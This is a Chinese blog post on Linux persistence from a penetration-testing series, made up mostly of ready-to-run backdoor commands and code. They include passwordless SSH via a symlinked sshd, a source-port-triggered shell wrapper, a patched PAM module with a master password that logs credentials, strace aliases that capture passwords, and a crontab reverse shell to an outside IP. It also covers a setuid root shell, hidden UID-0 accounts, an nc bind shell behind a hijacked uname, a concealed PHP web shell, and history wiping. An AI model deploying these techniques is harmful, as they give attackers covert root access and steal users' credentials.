Linux权限维持

发布于 2021-08-07  720 次阅读


《渗透测试》目录

一、SSH后门

1.软链接sshd

#!bash
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345            #相当于创建一个sshd的快捷方式,然后运行快捷方式监听12345端口,使用ssh连接时不需要密码

ssh root@192.168.78.19 -p 12345

输入任意密码就可以root用户权限登陆,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆。

2.ssh server wrapper

#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

socat STDIO TCP4:192.168.78.37:22,sourceport=13377

其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现:

>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'                    #对应的替换为if (getpeername(STDIN) =~ /^..LF/);
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
>>> buffer = struct.pack('>I6',16714)
>>> print buffer
AJ

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。    

原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。    

此时子进程标准输入输出已被重定向到套接字,getpeername能获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

3.ssh key

生成私钥和公钥:

ssh-keygen -t rsa

把公钥id_rsa.pub发送到目标上:

/root/.ssh/authorized_keys

更改时间:

touch -r known_hosts authorized_keys    #更改时间戳,防止被发现(复制known_hosts的时间戳到authorized)
service ssh restart

4.ssh keylogger

编辑当前用户下的`.bashrc`文件,在配置文件末尾添加:

alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

原理:通过创建别名使用户在执行ssh后记录下用户与系统进行交互时产生的日志,并记录到/tmp/目录下

ssh连接,输入密码时的密码,无论错误或者正确都能记录到log里。

5.SSH隐身登录

隐身登录系统,不会被last、who、w等指令检测到

ssh -T user@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if

6.Linux_PAM后门(常用)

下载pam源码(安装在攻击机上)

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxf Linux-PAM-1.1.8.tar.gz

安装环境(在攻击机上)

apt install -y gcc flex

修改pam_unix_auth.c源码(在下载的源码目录中)

Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c    (大概在180行)
if (strcmp("mypassword",p)==0) {return PAM_SUCCESS;}

编译生成so文件

cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

so文件路径:Linux-PAM-1.1.8/modules/pam_unix/.lib/pam_unix.so

  • 替换系统pam_unix.so文件(目标机器)

查找系统pam_unix.so文件路径

find / -name pam_unix.so 2>/dev/null

备份系统pam_unix.so文件

cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak

替换系统pam_unix.so文件

cp /root/桌面/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

修改时间戳

touch pam_unix.so -r pam_xauth.so

SSH登录

密码为mypassword,不影响原本root密码的登录。

查看日志文件:/var/log/auth.log,发现这种方式下的登录跟正常登录下的情况不一样。        

修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c  (使登录日志无异常)

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
// if (strcmp("mypassword",p)==0) {return PAM_SUCCESS;}
FILE * fp;
if (retval == PAM_SUCCESS) {
fp = fopen("/etc/pam.txt","a");
fprintf(fp,"%s->%s\n", name,p);
fclose(fp);
}
name = p = NULL;

修改Linux-PAM-1.1.8/modules/pam_unix/support.c    

int _unix_verify_password(pam_handle_t * pamh, const char *name,const char *p, unsigned int ctrl)
{
    struct passwd *pwd = NULL;
    char *salt = NULL;
    char *data_name;
    int retval;
if (strcmp("mypassword2",p)==0) {return PAM_SUCCESS;}            //主要添加该行
    D(("called"));

然后编译生成so文件,替换系统pam_unix.so文件即可。


二、Alias后门、Crontab后门

1.Alias后门

通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。    

修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。

alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

另一个,先上传一个.shell木马文件,然后通过别名执行

alias cat='/root/.shell && cat'

2.Crontab后门

每分钟反弹一次shell给指定ip的8888端口

(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.1.227/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

三、Setuid & Setgid

1.Setuid and Setgid

setuid:设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件,则在执行过程中,该文件可以获得root权限,从而可以更改用户的密码。   

setgid:该权限只对目录有效. 目录被设置该位后,任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。 

示例back.c文件:

#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}
gcc back.c -o back
cp back /bin/
chmod u+s /bin/back

四、Other

1.Linux隐藏技术

(1)简单文件隐藏

touch .myfile.py
ls -la

(2)隐藏权限

chattr命令可以给文件加锁,防止被删除,我们也可以将它利用起来。

chattr +i 1.txt        //添加
chattr -i 1.txt        //移除

(3)隐藏历史记录

拿到shell以后,开启无痕模式,禁用命令历史记录功能。

set +o history        //关闭
set -o history        //恢复

(4)删除历史命令

删除100行以后的历史操作命令(删除前先将为保存到文件中的历史记录保存,使用history -w命令)

sed -i '100,$d' .bash_history

2.PROMPT_COMMAND后门

Linux Bash Shell提供了一个环境变量:PROMPT_COMMAND,这个变量是在BASH出现提示符前执行的命令。(可以使用export改变环境变量,使之执行一个木马程序)    

PROMPT_COMMAND记录历史操作:

PROMPT_COMMAND='msg=$(history 1|{ read x y; echo $y; });user=$(who am i);logger $(date "+%Y-%m-%d%H:%M:%S"):$user[$(whoami)]:`pwd`/:"$msg"'

PROMPT_COMMAND提权:(相当于创建一个隐藏账户)

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

3.strace后门

strace常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
su='strace -o /tmp/sulog-`date +%d%h%m%s`.log -e read,write,connect -s2048 su'

4.后门账号

perl -e 'print crypt("fitar","afrxvse")."\n"'        (先生成一个加密后的密码值)
adu01teZNx5nY            (生成的加密后的密码)
echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash">>/etc/passwd        (添加root权限的用户)

5.uname后门(uname劫持)

#!/bin/bash
nc -l -v -p 4444 -e /bin/bash 2>/dev/null &
/bin/uname $@

6.\r后门(cat命令无法查看\r字符之前的内容,但是vim可以查看,有一定的隐藏效果)

echo -e "<?=\`\$_POST[cmd]\`?>\r<?='fitar ';?>" >/var/www/html/1ndex.php
cat 1ndex.php
<?='fitar ';?>

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。